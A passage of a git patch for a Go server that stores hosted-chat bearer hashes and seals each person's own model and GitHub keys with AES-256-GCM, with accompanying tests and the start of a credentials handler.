this file, a backup or a screenshot of it holds +// nothing a chat can say; the row carries only whose chat it is, whose +// person, and when it ends. It is one file only this server's user may read +// (0600, written atomically under a lock). + +// HostedBearer is one saved row: the chat the bearer belongs to, the person who +// owns that chat, and the moment the bearer stops working. +type HostedBearer struct { + Session string `json:"session"` + Person string `json:"person"` + Expires time.Time `json:"expires"` +} + +type hostedBearersDoc struct { + Rows map[string]HostedBearer `json:"rows"` +} + +const hostedBearersFile = "hosted-bearers.json" + +// ErrHostedBearersUnreadable is every way the saved table can fail to read. It +// names no byte of the file: a damaged file is an operator's to look at, and an +// error that quoted it could repeat whatever was in it. +var ErrHostedBearersUnreadable = errors.New("the saved model access of hosted chats cannot be read") + +// HostedBearers is the saved table by the sha256 hex of each bearer. A file +// that was never written is an empty table, and a file that is not the table +// is an error. +func (st *Store) HostedBearers() (map[string]HostedBearer, error) { + raw, err := os.ReadFile(filepath.Join(st.root, hostedBearersFile)) + if errors.Is(err, os.ErrNotExist) { + return map[string]HostedBearer{}, nil + } + if err != nil { + return nil, err + } + var doc hostedBearersDoc + if json.Unmarshal(raw, &doc) != nil { + return nil, ErrHostedBearersUnreadable + } + if doc.Rows == nil { + doc.Rows = map[string]HostedBearer{} + } + return doc.Rows, nil +} + +// SaveHostedBearers replaces the whole saved table. The table is small (one row +// for each chat that is running), so a replace is cheaper than any scheme that +// merges, and it is what makes an ended bearer disappear from the file. +func (st *Store) SaveHostedBearers(rows map[string]HostedBearer) error { + if rows == nil { + rows = map[string]HostedBearer{} + } + raw, err := json.Marshal(hostedBearersDoc{Rows: rows}) + if err != nil { + return err + } + return st.underLock(filepath.Join(st.root, "hosted-bearers.lock"), func() error { + return writeAtomic(filepath.Join(st.root, hostedBearersFile), append(raw, '\n')) + }) +} diff --git a/internal/factory/store/hosted_bearers_test.go b/internal/factory/store/hosted_bearers_test.go new file mode 100644 index 0000000000..a09412c0eb --- /dev/null +++ b/internal/factory/store/hosted_bearers_test.go @@ -0,0 +1,66 @@ +package store + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +// P1-4 (persistence half): what is saved of a chat's model access comes back +// as it was written, a file never written is an empty table, a damaged file is +// an error that does not quote it, and the file is private to the server's user. +func TestHostedBearersRoundTripAndNeverHoldsABearer(t *testing.T) { + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + if rows, err := st.HostedBearers(); err != nil || len(rows) != 0 { + t.Fatalf("a table never written = %v, %v; want empty", rows, err) + } + bearer := "cmt_secret-text-that-must-never-reach-the-file" + hash := strings.Repeat("ab", 32) + end := time.Date(2026, 12, 1, 9, 30, 0, 0, time.UTC) + want := map[string]HostedBearer{hash: {Session: "hs_" + strings.Repeat("1", 24), Person: "santosh", Expires: end}} + if err := st.SaveHostedBearers(want); err != nil { + t.Fatal(err) + } + got, err := st.HostedBearers() + if err != nil || len(got) != 1 || got[hash].Session != want[hash].Session || got[hash].Person != "santosh" || !got[hash].Expires.Equal(end) { + t.Fatalf("read back %+v, %v", got, err) + } + path := filepath.Join(st.Root(), hostedBearersFile) + raw, err := os.ReadFile(path) + if err != nil || strings.Contains(string(raw), bearer) || !strings.Contains(string(raw), hash) { + t.Fatalf("the file does not hold exactly the hash: %q, %v", raw, err) + } + if info, err := os.Stat(path); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("the file's mode = %v, %v; want 0600", info, err) + } + // Replacing the table drops a row that is no longer in it. + if err := st.SaveHostedBearers(nil); err != nil { + t.Fatal(err) + } + if rows, err := st.HostedBearers(); err != nil || len(rows) != 0 { + t.Fatalf("after an empty save = %v, %v", rows, err) + } +} + +func TestHostedBearersDamagedFileIsAnErrorThatQuotesNothing(t *testing.T) { + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + secret := "cmt_this-text-is-in-the-damaged-file" + if err := os.WriteFile(filepath.Join(st.Root(), hostedBearersFile), []byte(`{"rows": [`+secret), 0o600); err != nil { + t.Fatal(err) + } + rows, err := st.HostedBearers() + if err == nil || rows != nil { + t.Fatalf("a damaged file read as %v, %v", rows, err) + } + if strings.Contains(err.Error(), secret) { + t.Fatalf("the error quotes the file: %q", err) + } +} diff --git a/internal/factory/store/person_keys.go b/internal/factory/store/person_keys.go new file mode 100644 index 0000000000..865ccaf8fc --- /dev/null +++ b/internal/factory/store/person_keys.go @@ -0,0 +1,443 @@ +package store + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "encoding/json" + "errors" + "os" + "path/filepath" + "sort" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" +) + +// ── A PERSON'S OWN KEYS, SEALED ──────────────────────────────────────────── +// +// A person who signs in to an organization's server may keep a model key or a +// GitHub credential of their own on it, so their chats spend their account and +// act as them. Those secrets are the most dangerous thing this store holds, so +// they are never written in the clear and never come back out except through +// [PersonKeys.Get], which the server's own model and git paths call and no +// route answers. +// +// Two layers. A SERVER KEY (the KEK, from the operator's CODEAF_SERVER_KEY) +// seals one random data key (the DEK) for each person; each person's secrets +// are sealed under their own DEK. A copy of the file alone therefore opens +// nothing, and the loss of one person's data key exposes nobody else. Every +// seal is AES-256-GCM with a fresh random nonce, and its additional data names +// what it belongs to ("dek|", "|", "canary"), so a +// sealed value moved to another person or provider fails to open instead of +// being used for the wrong one. +// +// A CANARY, sealed under the server key when the file is first written, says +// whether the key the server started with is the key the file was sealed with. +// A wrong key therefore refuses at once, before a single secret is opened +// wrongly or a new one is sealed under a key the old ones cannot be read with. + +// PersonKeyProviders are the providers a person may keep a secret for. +var PersonKeyProviders = []string{"openrouter", "github"} + +// KnownPersonKeyProvider says p is a provider a person may keep a secret for. +func KnownPersonKeyProvider(p string) bool { + for _, known := range PersonKeyProviders { + if p == known { + return true + } + } + return false +} + +// The two places a stored secret can come from. A person's own save always +// wins over what their sign-in carried. +const ( + PersonKeyOwn = "own" + PersonKeySignIn = "sign-in" +) + +var ( + // ErrWrongServerKey is the server key not being the key the stored secrets + // were sealed with. + ErrWrongServerKey = errors.New("the server key does not open the stored personal keys") + // ErrServerKeyLocked is a store opened with no server key: it can say + // whether a secret exists, and it can open or change none. + ErrServerKeyLocked = errors.New("the stored personal keys are locked because no server key is set") + // ErrPersonKeysUnreadable is a file that is not the store's own format. It + // quotes none of it. + ErrPersonKeysUnreadable = errors.New("the stored personal keys cannot be read") + // ErrPersonKeyOpen is one secret that would not open (a damaged file). + ErrPersonKeyOpen = errors.New("a stored personal key cannot be opened") +) + +const ( + personKeysFile = "person-keys.json" + personKeysCanary = "codeaf person keys" +) + +// PersonKeyRow is one stored secret as a screen may see it: which provider, +// the last four characters and nothing more. +type PersonKeyRow struct { + Provider string + Last4 string + At time.Time + Source string +} + +type personKeysDoc struct { + Version int `json:"version"` + Canary string `json:"canary"` + People map[string]*personRecord `json:"people"` +} + +type personRecord struct { + DEK string `json:"dek"` + Keys map[string]personKeyRow `json:"keys"` +} + +type personKeyRow struct { + Sealed string `json:"sealed"` + Last4 string `json:"last4"` + At string `json:"at"` + Source string `json:"source"` +} + +// PersonKeys is the sealed store of every person's own keys. +type PersonKeys struct { + st *Store + kek []byte // nil when the store is locked + + mu sync.Mutex + doc *personKeysDoc + stamp keysFileStamp + loaded bool +} + +// keysFileStamp is what says the file has not changed since it was read, so a read +// of a secret costs one stat and not a parse of the whole file. +type keysFileStamp struct { + exists bool + size int64 + mod time.Time +} + +// OpenPersonKeys opens the store with kek, the server key (32 bytes). A file +// whose canary does not open under kek answers [ErrWrongServerKey] and is left +// untouched. A nil kek opens the store LOCKED: it still answers whether a +// person has a key and what a screen may show of it, and it refuses to open or +// change a secret. Nothing is written until the first secret is stored. +func OpenPersonKeys(st *Store, kek []byte) (*PersonKeys, error) { + if st == nil { + return nil, errors.New("personal keys need a store") + } + pk := &PersonKeys{st: st} + if kek != nil { + if len(kek) != 32 { + return nil, errors.New("the server key must be 32 bytes") + } + pk.kek = append([]byte(nil), kek...) + } + doc, err := pk.snapshot() + if err != nil { + return nil, err + } + if pk.kek != nil && (doc.Canary != "" || len(doc.People) > 0) { + if err := pk.checkCanary(doc); err != nil { + return nil, err + } + } + return pk, nil +} + +// Locked says the store was opened with no server key. +func (pk *PersonKeys) Locked() bool { return pk.kek == nil } + +func (pk *PersonKeys) checkCanary(doc *personKeysDoc) error { + plain, err := openGCM(pk.kek, doc.Canary, []byte("canary")) + if err != nil || string(plain) != personKeysCanary { + return ErrWrongServerKey + } + return nil +} + +func (pk *PersonKeys) path() string { return filepath.Join(pk.st.root, personKeysFile) } + +func (f keysFileStamp) same(o keysFileStamp) bool { + return f.exists == o.exists && f.size == o.size && f.mod.Equal(o.mod) +} + +func statKeysFile(path string) keysFileStamp { + info, err := os.Stat(path) + if err != nil { + return keysFileStamp{} + } + return keysFileStamp{exists: true, size: info.Size(), mod: info.ModTime()} +} + +// snapshot is the file as it is now. It reparses only when the file changed +// since the last read, so the same process answering a model call per request +// does not read the whole store each time. The returned document is never +// modified by a caller. +func (pk *PersonKeys) snapshot() (*personKeysDoc, error) { + pk.mu.Lock() + defer pk.mu.Unlock() + stamp := statKeysFile(pk.path()) + if pk.loaded && pk.stamp.same(stamp) { + return pk.doc, nil + } + doc, err := pk.readFile() + if err != nil { + return nil, err + } + pk.doc, pk.stamp, pk.loaded = doc, stamp, true + return doc, nil +} + +// readFile parses the file; a file never written is an empty store. +func (pk *PersonKeys) readFile() (*personKeysDoc, error) { + raw, err := os.ReadFile(pk.path()) + if errors.Is(err, os.ErrNotExist) { + return &personKeysDoc{Version: 1, People: map[string]*personRecord{}}, nil + } + if err != nil { + return nil, err + } + var doc personKeysDoc + if json.Unmarshal(raw, &doc) != nil || doc.Version != 1 { + return nil, ErrPersonKeysUnreadable + } + if doc.People == nil { + doc.People = map[string]*personRecord{} + } + return &doc, nil +} + +// AnyPeople says somebody has a secret stored here. +func (pk *PersonKeys) AnyPeople() bool { + doc, err := pk.snapshot() + return err == nil && len(doc.People) > 0 +} + +// Has says person has a secret stored for provider. It needs no server key, so +// a locked store can still tell a caller that a key EXISTS and must not be +// replaced by the organization's. +func (pk *PersonKeys) Has(person, provider string) (bool, error) { + doc, err := pk.snapshot() + if err != nil { + return false, err + } + rec := doc.People[factory.NormalizeHandle(person)] + if rec == nil { + return false, nil + } + _, ok := rec.Keys[provider] + return ok, nil +} + +// List is what a screen may show of person's secrets, by provider, and nothing +// else: never a secret, never another person's row. +func (pk *PersonKeys) List(person string) []PersonKeyRow { + out := []PersonKeyRow{} + doc, err := pk.snapshot() + if err != nil { + return out + } + rec := doc.People[factory.NormalizeHandle(person)] + if rec == nil { + return out + } + for provider, row := range rec.Keys { + at, _ := time.Parse(time.RFC3339, row.At) + out = append(out, PersonKeyRow{Provider: provider, Last4: row.Last4, At: at, Source: row.Source}) + } + sort.Slice(out, func(i, j int) bool { return out[i].Provider < out[j].Provider }) + return out +} + +// Get opens person's secret for provider. It is the only call that answers a +// secret. A missing one is ("", false, nil); one that exists and will not open +// is an error, never a quiet miss, because the caller must refuse and not fall +// back to somebody else's key. +func (pk *PersonKeys) Get(person, provider string) (string, bool, error) { + person = factory.NormalizeHandle(person) + doc, err := pk.snapshot() + if err != nil { + return "", false, err + } + rec := doc.People[person] + if rec == nil { + return "", false, nil + } + row, ok := rec.Keys[provider] + if !ok { + return "", false, nil + } + if pk.kek == nil { + return "", true, ErrServerKeyLocked + } + dek, err := openGCM(pk.kek, rec.DEK, []byte("dek|"+person)) + if err != nil { + return "", true, ErrPersonKeyOpen + } + defer zero(dek) + plain, err := openGCM(dek, row.Sealed, []byte(person+"|"+provider)) + if err != nil { + return "", true, ErrPersonKeyOpen + } + secret := string(plain) + zero(plain) + return secret, true, nil +} + +// Put seals secret as person's key for provider, replacing the one before. +// source is [PersonKeyOwn] or [PersonKeySignIn]. +func (pk *PersonKeys) Put(person, provider, secret, source string, at time.Time) error { + person = factory.NormalizeHandle(person) + if pk.kek == nil { + return ErrServerKeyLocked + } + if person == "" || !KnownPersonKeyProvider(provider) || secret == "" || (source != PersonKeyOwn && source != PersonKeySignIn) { + return errors.New("that personal key cannot be stored") + } + return pk.change(func(doc *personKeysDoc) error { + if doc.Canary == "" { + canary, err := sealGCM(pk.kek, []byte(personKeysCanary), []byte("canary")) + if err != nil { + return err + } + doc.Canary = canary + } + rec := doc.People[person] + var dek []byte + if rec == nil { + dek = make([]byte, 32) + if _, err := rand.Read(dek); err != nil { + return err + } + wrapped, err := sealGCM(pk.kek, dek, []byte("dek|"+person)) + if err != nil { + zero(dek) + return err + } + rec = &personRecord{DEK: wrapped, Keys: map[string]personKeyRow{}} + doc.People[person] = rec + } else { + var err error + if dek, err = openGCM(pk.kek, rec.DEK, []byte("dek|"+person)); err != nil { + return ErrPersonKeyOpen + } + } + defer zero(dek) + sealed, err := sealGCM(dek, []byte(secret), []byte(person+"|"+provider)) + if err != nil { + return err + } + rec.Keys[provider] = personKeyRow{Sealed: sealed, Last4: lastFour(secret), At: at.UTC().Format(time.RFC3339), Source: source} + return nil + }) +} + +// Delete forgets person's secret for provider and says whether there was one. +// A person's last secret takes the person's data key with it. +func (pk *PersonKeys) Delete(person, provider string) (bool, error) { + person = factory.NormalizeHandle(person) + if pk.kek == nil { + return false, ErrServerKeyLocked + } + var had bool + err := pk.change(func(doc *personKeysDoc) error { + rec := doc.People[person] + if rec == nil { + return nil + } + if _, had = rec.Keys[provider]; !had { + return nil + } + delete(rec.Keys, provider) + if len(rec.Keys) == 0 { + delete(doc.People, person) + } + return nil + }) + return had, err +} + +// change reads the file afresh under the store's lock, applies edit, and writes +// it back atomically, so two writers cannot lose one another's edit. A file +// whose canary does not open under this store's key is never written to. +func (pk *PersonKeys) change(edit func(*personKeysDoc) error) error { + return pk.st.underLock(filepath.Join(pk.st.root, "person-keys.lock"), func() error { + doc, err := pk.readFile() + if err != nil { + return err + } + if doc.Canary != "" || len(doc.People) > 0 { + if err := pk.checkCanary(doc); err != nil { + return err + } + } + if err := edit(doc); err != nil { + return err + } + raw, err := json.Marshal(doc) + if err != nil { + return err + } + if err := writeAtomic(pk.path(), append(raw, '\n')); err != nil { + return err + } + pk.mu.Lock() + pk.doc, pk.stamp, pk.loaded = doc, statKeysFile(pk.path()), true + pk.mu.Unlock() + return nil + }) +} + +// sealGCM seals plain under key, with aad bound to it, as base64 of nonce then +// ciphertext. The nonce is fresh and random for every seal. +func sealGCM(key, plain, aad []byte) (string, error) { + block, err := aes.NewCipher(key) + if err != nil { + return "", err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + return base64.StdEncoding.EncodeToString(gcm.Seal(nonce, nonce, plain, aad)), nil +} + +// openGCM is the inverse of sealGCM; any failure, a wrong key, wrong aad or a +// changed byte, is the one error. +func openGCM(key []byte, encoded string, aad []byte) ([]byte, error) { + raw, err := base64.StdEncoding.DecodeString(encoded) + if err != nil { + return nil, ErrPersonKeyOpen + } + block, err := aes.NewCipher(key) + if err != nil { + return nil, ErrPersonKeyOpen + } + gcm, err := cipher.NewGCM(block) + if err != nil || len(raw) < gcm.NonceSize()+gcm.Overhead() { + return nil, ErrPersonKeyOpen + } + plain, err := gcm.Open(nil, raw[:gcm.NonceSize()], raw[gcm.NonceSize():], aad) + if err != nil { + return nil, ErrPersonKeyOpen + } + return plain, nil +} + +func zero(b []byte) { + for i := range b { + b[i] = 0 + } +} diff --git a/internal/factory/store/person_keys_test.go b/internal/factory/store/person_keys_test.go new file mode 100644 index 0000000000..0b14e6ccbf --- /dev/null +++ b/internal/factory/store/person_keys_test.go @@ -0,0 +1,225 @@ +package store + +import ( + "bytes" + "crypto/rand" + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func testServerKey(t *testing.T) []byte { + t.Helper() + key := make([]byte, 32) + if _, err := rand.Read(key); err != nil { + t.Fatal(err) + } + return key +} + +func openKeys(t *testing.T, kek []byte) (*Store, *PersonKeys) { + t.Helper() + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + pk, err := OpenPersonKeys(st, kek) + if err != nil { + t.Fatal(err) + } + return st, pk +} + +var keysAt = time.Date(2026, 11, 24, 8, 0, 0, 0, time.UTC) + +// P1-5: a stored key never appears in the file, belongs to exactly one person, +// is listed by its last four characters only, and is sealed freshly each time. +func TestPersonKeysAreSealedAndBelongToOnePerson(t *testing.T) { + st, pk := openKeys(t, testServerKey(t)) + santosh, abir, token := "sk-test-santosh-aaaa-0001", "sk-test-abir-bbbb-0002", "ghp_test_santosh_github_0003" + for _, put := range []struct{ person, provider, secret, source string }{ + {"santosh", "openrouter", santosh, PersonKeyOwn}, {"abir", "openrouter", abir, PersonKeyOwn}, {"santosh", "github", token, PersonKeySignIn}} { + if err := pk.Put(put.person, put.provider, put.secret, put.source, keysAt); err != nil { + t.Fatal(err) + } + } + path := filepath.Join(st.Root(), personKeysFile) + raw, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + for _, secret := range []string{santosh, abir, token, "aaaa-0001", "santosh_github"} { + if bytes.Contains(raw, []byte(secret)) { + t.Fatalf("the file holds %q in the clear: %s", secret, raw) + } + } + if info, err := os.Stat(path); err != nil || info.Mode().Perm() != 0o600 { + t.Fatalf("the file's mode = %v, %v; want 0600", info, err) + } + if got, ok, err := pk.Get("santosh", "openrouter"); err != nil || !ok || got != santosh { + t.Fatalf("santosh's key = %q, %v, %v", got, ok, err) + } + if got, ok, err := pk.Get("@Abir", "openrouter"); err != nil || !ok || got != abir { + t.Fatalf("abir's key by a display form = %q, %v, %v", got, ok, err) + } + // Nobody reads another person's key, and a near name is not the name. + for _, who := range []string{"mia", "santos", "santosh2", ""} { + if got, ok, err := pk.Get(who, "openrouter"); got != "" || ok || err != nil { + t.Fatalf("%q read %q, %v, %v", who, got, ok, err) + } + } + if got, ok, err := pk.Get("abir", "github"); got != "" || ok || err != nil { + t.Fatalf("abir has no GitHub key, got %q, %v, %v", got, ok, err) + } + rows := pk.List("santosh") + if len(rows) != 2 || rows[0].Provider != "github" || rows[0].Last4 != "0003" || rows[0].Source != PersonKeySignIn || + rows[1].Provider != "openrouter" || rows[1].Last4 != "0001" || rows[1].Source != PersonKeyOwn || !rows[1].At.Equal(keysAt) { + t.Fatalf("santosh's list = %+v", rows) + } + if rows := pk.List("mia"); rows == nil || len(rows) != 0 { + t.Fatalf("a person with no keys lists %+v; want an empty list", rows) + } + // A new seal of the same secret is a different byte string. + var before map[string]any + _ = json.Unmarshal(raw, &before) + if err := pk.Put("santosh", "openrouter", santosh, PersonKeyOwn, keysAt); err != nil { + t.Fatal(err) + } + again, _ := os.ReadFile(path) + if bytes.Equal(raw, again) { + t.Fatal("sealing the same secret twice wrote the same bytes: the nonce is not fresh") + } + // Another open of the same store sees the same keys (a restart). + reopened, err := OpenPersonKeys(st, pk.kek) + if err != nil { + t.Fatal(err) + } + if got, ok, err := reopened.Get("santosh", "openrouter"); err != nil || !ok || got != santosh { + t.Fatalf("after a reopen = %q, %v, %v", got, ok, err) + } + // A short secret hides nothing behind its last four. + if err := pk.Put("mia", "github", "short-12", PersonKeyOwn, keysAt); err != nil { + t.Fatal(err) + } + if rows := pk.List("mia"); len(rows) != 1 || rows[0].Last4 != "" { + t.Fatalf("a short secret's last four = %+v", rows) + } +} + +// P1-5: a different server key refuses to open the store and leaves the file +// alone; a store opened with no key answers that a key exists but never opens or +// changes one. +func TestPersonKeysWrongServerKeyAndNoServerKey(t *testing.T) { + good := testServerKey(t) + st, pk := openKeys(t, good) + if err := pk.Put("santosh", "openrouter", "sk-test-santosh-0001", PersonKeyOwn, keysAt); err != nil { + t.Fatal(err) + } + path := filepath.Join(st.Root(), personKeysFile) + before, _ := os.ReadFile(path) + if _, err := OpenPersonKeys(st, testServerKey(t)); !errors.Is(err, ErrWrongServerKey) { + t.Fatalf("a wrong server key opened the store: %v", err) + } + locked, err := OpenPersonKeys(st, nil) + if err != nil || !locked.Locked() || !locked.AnyPeople() { + t.Fatalf("the locked store = %v, %v", locked, err) + } + if has, err := locked.Has("santosh", "openrouter"); err != nil || !has { + t.Fatalf("a locked store lost track of the key: %v, %v", has, err) + } + if got, ok, err := locked.Get("santosh", "openrouter"); got != "" || !ok || !errors.Is(err, ErrServerKeyLocked) { + t.Fatalf("a locked store opened the key: %q, %v, %v", got, ok, err) + } + if err := locked.Put("santosh", "openrouter", "sk-test-other-9999", PersonKeyOwn, keysAt); !errors.Is(err, ErrServerKeyLocked) { + t.Fatalf("a locked store took a key: %v", err) + } + if _, err := locked.Delete("santosh", "openrouter"); !errors.Is(err, ErrServerKeyLocked) { + t.Fatalf("a locked store forgot a key: %v", err) + } + if after, _ := os.ReadFile(path); !bytes.Equal(before, after) { + t.Fatal("refusing left the file changed") + } + // A writer holding the wrong key built before the file existed cannot + // overwrite either: it is refused at the write. + stray := &PersonKeys{st: st, kek: testServerKey(t)} + if err := stray.Put("mia", "openrouter", "sk-test-mia-000000", PersonKeyOwn, keysAt); !errors.Is(err, ErrWrongServerKey) { + t.Fatalf("a wrong key wrote into the store: %v", err) + } + if after, _ := os.ReadFile(path); !bytes.Equal(before, after) { + t.Fatal("a refused write changed the file") + } +} + +// P1-5: a sealed value moved to another person or provider does not open, and a +// damaged file is an error that quotes none of it. +func TestPersonKeysSealedValuesAreBoundToTheirOwner(t *testing.T) { + st, pk := openKeys(t, testServerKey(t)) + for _, who := range []string{"santosh", "abir"} { + if err := pk.Put(who, "openrouter", "sk-test-"+who+"-secret-0001", PersonKeyOwn, keysAt); err != nil { + t.Fatal(err) + } + } + path := filepath.Join(st.Root(), personKeysFile) + raw, _ := os.ReadFile(path) + var doc personKeysDoc + if err := json.Unmarshal(raw, &doc); err != nil { + t.Fatal(err) + } + swapped := doc.People["abir"].Keys["openrouter"] + swapped.Sealed = doc.People["santosh"].Keys["openrouter"].Sealed + doc.People["abir"].Keys["openrouter"] = swapped + moved, _ := json.Marshal(doc) + if err := os.WriteFile(path, moved, 0o600); err != nil { + t.Fatal(err) + } + reopened, err := OpenPersonKeys(st, pk.kek) + if err != nil { + t.Fatal(err) + } + if got, _, err := reopened.Get("abir", "openrouter"); got != "" || !errors.Is(err, ErrPersonKeyOpen) { + t.Fatalf("another person's sealed value opened as abir's: %q, %v", got, err) + } + // Garbage is an error that does not repeat it. + garbage := "sk-test-the-damaged-file-text" + if err := os.WriteFile(path, []byte(`{"version":1,"people": [`+garbage), 0o600); err != nil { + t.Fatal(err) + } + if _, err := OpenPersonKeys(st, pk.kek); !errors.Is(err, ErrPersonKeysUnreadable) || strings.Contains(err.Error(), garbage) { + t.Fatalf("a damaged file opened as %v", err) + } +} + +// P1-5: deleting answers whether a key was there, only touches its own +// person, and a person's last key takes the person with it. +func TestPersonKeysDeleteIsPerPersonAndPerProvider(t *testing.T) { + _, pk := openKeys(t, testServerKey(t)) + for _, put := range []struct{ person, provider string }{{"santosh", "openrouter"}, {"santosh", "github"}, {"abir", "openrouter"}} { + if err := pk.Put(put.person, put.provider, "secret-value-for-"+put.person+"-"+put.provider, PersonKeyOwn, keysAt); err != nil { + t.Fatal(err) + } + } + if had, err := pk.Delete("santosh", "openrouter"); err != nil || !had { + t.Fatalf("delete = %v, %v", had, err) + } + if had, err := pk.Delete("santosh", "openrouter"); err != nil || had { + t.Fatalf("a second delete = %v, %v; want none", had, err) + } + if got, ok, _ := pk.Get("santosh", "github"); !ok || got == "" { + t.Fatal("deleting one provider took the other") + } + if got, ok, _ := pk.Get("abir", "openrouter"); !ok || got == "" { + t.Fatal("deleting santosh's key took abir's") + } + _, _ = pk.Delete("santosh", "github") + _, _ = pk.Delete("abir", "openrouter") + if pk.AnyPeople() { + t.Fatal("the store still holds people after every key was forgotten") + } + if err := pk.Put("santosh", "nope", "secret-value-abcdef", PersonKeyOwn, keysAt); err == nil { + t.Fatal("an unknown provider was stored") + } +} From 0722969ccce510fac80517a2dae70a111ee0752f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 06:43:44 -0500 Subject: [PATCH 043/176] serve: hosted chats keep their model bearers across a restart, attach by the host's own fingerprint, and a person can store their own keys A bearer minted before an org-server restart still works after it; the attach asks the chat's host which bearer it holds and pushes a fresh one before the wire opens when it is not the current one, so the first attach after a host restart no longer says the chat has no model access. /v1/hosted/keys stores, lists (last four only) and deletes a person's own provider key and GitHub token. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/credentials.go | 380 ++++++++++ internal/factory/serve/hosted_p1_test.go | 759 +++++++++++++++++++ internal/factory/serve/hosted_proxy.go | 160 +++- internal/factory/serve/hosted_proxy_test.go | 71 +- internal/factory/serve/model_proxy.go | 200 ++++- internal/factory/serve/model_proxy_test.go | 8 +- internal/factory/serve/zz_git_routes_stub.go | 6 + 7 files changed, 1530 insertions(+), 54 deletions(-) create mode 100644 internal/factory/serve/credentials.go create mode 100644 internal/factory/serve/hosted_p1_test.go create mode 100644 internal/factory/serve/zz_git_routes_stub.go diff --git a/internal/factory/serve/credentials.go b/internal/factory/serve/credentials.go new file mode 100644 index 0000000000..90e01187c4 --- /dev/null +++ b/internal/factory/serve/credentials.go @@ -0,0 +1,380 @@ +package serve + +import ( + "bytes" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io" + "log" + "net/http" + "net/url" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +// This file is where a signed-in person keeps a model key or a GitHub +// credential of their own on the organization's server, and where the server +// finds it again when that person's chat needs it. The secrets themselves are +// sealed by the store (store/person_keys.go); what lives here is the server key +// that seals them, the routes a person uses, and the one question the model and +// git paths ask: whose key should this call go out with? +// +// A PERSON'S OWN KEY IS NEVER REPLACED BY THE ORGANIZATION'S. When a key exists +// and cannot be opened, the answer is an error and the call is refused. Quietly +// falling back would spend the organization's money, or act as the +// organization, for a person who chose to use their own. + +// personKeys is the sealed store of people's own keys. +type personKeys = store.PersonKeys + +const ( + // The sentences a person may read from the key routes. None of them names + // the machinery behind the storage. + hostedKeysNoSuchKey = "There is no such key to keep." + hostedKeysCannotKeep = "This server cannot keep personal keys safe yet, so it did not store yours. Its operator can set that up." + hostedKeysTooLarge = "That is too large to be a key." + hostedKeysBadRequest = "Send the key you want to keep." + hostedKeysNotStored = "Your key could not be stored just now." + + // hostedKeysBodyCap bounds a request to the key routes. A key is at most + // 512 characters, so four kilobytes is generous and no more. + hostedKeysBodyCap = 4 << 10 +) + +// The operator's own sentences, which are allowed to name settings. They are +// returned from [HostedConfig.Check] and printed by the command that starts the +// server. +const ( + serverKeyForm = "CODEAF_SERVER_KEY must be 64 hexadecimal characters or a base64 text of 32 bytes." + serverKeyMissing = "Keys that people stored are on this server, but CODEAF_SERVER_KEY is not set, so they cannot be opened. Set the key they were stored with." + serverKeyWrong = "CODEAF_SERVER_KEY is not the key this server's stored keys were sealed with, so they cannot be opened. Set the key they were stored with; the stored keys were left untouched." + gitHostsForm = "CODEAF_HOSTED_GIT_HOSTS must be a comma-separated list of http or https origins such as https://github.com, with no path." +) + +var ( + errServerKeyForm = errors.New(serverKeyForm) + // errNoServerKey and errWrongServerKey are what hostedKeyFor answers for a + // key that exists and cannot be opened. They are for the caller's log and + // its refusal sentence; neither is shown to a person as it stands. + errNoServerKey = errors.New(serverKeyMissing) + errWrongServerKey = errors.New(serverKeyWrong) +) + +// parseServerKey reads CODEAF_SERVER_KEY: 64 hexadecimal characters, or base64 +// (standard or URL alphabet, padded or not) of exactly 32 bytes. The error +// names the setting and never repeats the value. +func parseServerKey(raw string) ([]byte, error) { + raw = strings.TrimSpace(raw) + if len(raw) == 64 { + if key, err := hex.DecodeString(raw); err == nil { + return key, nil + } + } + for _, encoding := range []*base64.Encoding{base64.StdEncoding, base64.URLEncoding, base64.RawStdEncoding, base64.RawURLEncoding} { + if key, err := encoding.DecodeString(raw); err == nil && len(key) == 32 { + return key, nil + } + } + return nil, errServerKeyForm +} + +// normalizeGitOrigin is one entry of the git hosts setting as a chat and the git +// routes will compare it: scheme and host (and port) in lower case, no trailing +// slash. Anything with a path, a query, a fragment or sign-in details is not an +// origin. +func normalizeGitOrigin(raw string) (string, error) { + u, err := url.Parse(strings.TrimSpace(raw)) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Hostname() == "" || u.Opaque != "" || + u.User != nil || u.RawQuery != "" || u.ForceQuery || u.Fragment != "" || (u.Path != "" && u.Path != "/") { + return "", errors.New(gitHostsForm) + } + return u.Scheme + "://" + strings.ToLower(u.Host), nil +} + +// hostedGitOrigins is the origins a chat's git may reach: the operator's list, +// normalized and without repeats, or github.com alone when they set none. An +// entry that is not an origin is left out (Check refuses it at start), so a +// bad entry can only shrink what a chat may reach and never widen it. +func hostedGitOrigins(cfg *HostedConfig) []string { + if cfg == nil || len(cfg.GitHosts) == 0 { + return []string{"https://github.com"} + } + out := make([]string, 0, len(cfg.GitHosts)) + for _, raw := range cfg.GitHosts { + origin, err := normalizeGitOrigin(raw) + if err != nil { + continue + } + seen := false + for _, have := range out { + seen = seen || have == origin + } + if !seen { + out = append(out, origin) + } + } + return out +} + +// Check is the start-up gate for what this file adds, and it never changes a +// file. It refuses, in the operator's words, a server key that does not parse, +// keys that people stored with no server key to open them, a server key that is +// not the one the stored keys were sealed with, and a git host that is not an +// origin. st may be nil, which leaves only the settings to check. +func (hc *HostedConfig) Check(st *store.Store) error { + if hc == nil { + return nil + } + for _, raw := range hc.GitHosts { + if _, err := normalizeGitOrigin(raw); err != nil { + return err + } + } + var kek []byte + if strings.TrimSpace(hc.ServerKey) != "" { + var err error + if kek, err = 